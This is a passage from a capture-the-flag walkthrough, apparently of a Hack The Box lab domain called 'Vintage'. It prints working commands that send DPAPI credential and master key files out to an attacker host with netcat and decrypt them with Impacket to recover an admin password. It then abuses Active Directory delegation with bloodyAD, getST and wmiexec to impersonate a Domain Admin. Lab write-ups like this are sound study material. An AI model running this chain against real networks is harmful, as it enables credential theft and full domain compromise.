    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

We can see a credential file.

If we upload mimikatz to abuse this service and execute it we get an error:

PS C:\Users\C.Neri\Documents> .\mimikatz.exe

.\mimikatz.exe
Program 'mimikatz.exe' failed to run: Operation did not complete successfully because the file contains a virus or
potentially unwanted softwareAt line:1 char:1
+ .\mimikatz.exe
+ ~~~~~~~~~~.
At line:1 char:1
+ .\mimikatz.exe
+ ~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

It is blocked by Windows Defender. So let’s continue “manually” obtaining some info.

We can pass this credential file to treat it in our attacker machine using netcat binary we have used for the reverse shell previously. Start a listener with netcat in our attacker machine and store everything received in a file:

❯ nc -lvnp 4444 > C4BB96844A5C9DD45D5B6A9859252BA6

listening on [any] 4444 ...

and pass the credential file using CMD and netcat:

PS C:\Users\C.Neri\Documents> cmd.exe /c 'C:\Users\C.Neri\Documents\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6'

cmd.exe /c 'C:\Users\C.Neri\Documents\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6'

Press Ctrl+C in your attacker machine when you are done.

Now, we should obtain some master keys based on HackTricks. For this we need our user SID:

PS C:\Users\C.Neri\Documents> whoami /user

whoami /user

USER INFORMATION
----------------

User Name      SID
============== ==============================================
vintage\c.neri S-1-5-21-4024337825-2033394866-2055507597-1115

and then execute in a PowerShell session:

Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}

or in this case:

PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115

Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115


    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE
-a-hs-          6/7/2024   1:17 PM             24 Preferred

We have 2 Master keys:

4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

Then, since mimikatz did not work, we can use dpapi.py from Impacket along with the user SID, its password and the master keys. These master keys are files, so we need to download them into out attacker machine first. We can pass these files in a similar way we did with the credential file:

❯ nc -lvnp 4444 > 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

listening on [any] 4444 ...

and in the victim machine we pass the file using netcat and CMD:

PS C:\Users\C.Neri\Documents> cmd.exe /c '.\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'

cmd.exe /c '.\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'

Then, extract the key contained in the master key file with impacket-dpapi:

❯ impacket-dpapi masterkey -f 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid 'S-1-5-21-4024337825-2033394866-2055507597-1115' -password 'Zer0the0ne'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

and use this decrypted key into the credential file previously downloaded:

❯ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

We got a password for c.neri_adm user, Uncr4ck4bl3P4ssW0rd0312.

Searching what can this new user do in Bloodhound shows:

Vintage 7

This user has AddSelf and GenericWrite rights over DelegatedAdmins group.

If we check what DelegatedAdmins can do we don’t see much. However, they have 2 members:

Vintage 8

L.Bianchi user is also a member of Domain Admins:

Vintage 9

As usual at this point, get a ticket for this user:

❯ impacket-getTGT vintage.htb/'C.Neri_adm':'Uncr4ck4bl3P4ssW0rd0312' -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in C.Neri_adm.ccache

❯ KRB5CCNAME=C.Neri_adm.ccache nxc smb dc01.vintage.htb -k --use-kcache

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\C.Neri_adm from ccache

The name DelegatedAdmins for that group might give a hint about how we can exploit this group: Maybe, we can perform a Constrained Delegation over an account that has servicePrincipalName attribute, or SPN, (as shown here) and use that account to impersonate another (privileged) user in the domain.

As we have seen previously, C.Neri_adm has GenericWrite permissions over DelegatedAdmins group. Therefore, we could add an account whose password we know, that has an SPN attribute (such as a service machine account), like svc_sql into this group. For this we can use bloodyAD and C.Neri_adm ticket:

❯ KRB5CCNAME=C.Neri_adm.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'DelegatedAdmins' 'svc_sql'

[+] svc_sql added to DelegatedAdmins

Then, change this user’s serverPrincipalName (SPN). For this we need C.Neri ticket (not C.Neri_adm ticket). We can change it to cifs (or SMB) using, again, bloodyAD:

❯ KRB5CCNAME=C.Neri.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k set object "svc_sql" servicePrincipalName  -v "cifs/anything"

[+] svc_sql's servicePrincipalName has been updated

Request the ticket for the account service with the service updated:

❯ impacket-getTGT vintage.htb/'svc_sql':'Zer0the0ne' -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in svc_sql.ccache

Now that svc_sql account belongs to this group, we could use it to delegate and impersonate a user through S4U2Self, requesting a Service Ticket (ST), impersonating a targeted user. Therefore, and finally, use this ticket that can be used to impersonate L.Bianchi_adm with getST.py from Impacket:

❯ KRB5CCNAME=./svc_sql.ccache impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate 'L.Bianchi_adm' -dc-ip dc01.vintage.htb -k vintage.htb/'svc_sql':'Zer0the0ne'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating L.Bianchi_adm
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

We can then use a tool like wmiexec.py from Impacket to enter in the victim machine:

❯ KRB5CCNAME=L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache impacket-wmiexec -k -no-pass 'L.Bianchi_adm'@dc01.vintage.htb -dc-ip dc01.vintage.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

vintage\l.bianchi_adm

Since this user is a member of Domain Admins, we can read the root flag at Administrator Desktop.

~Happy Hacking.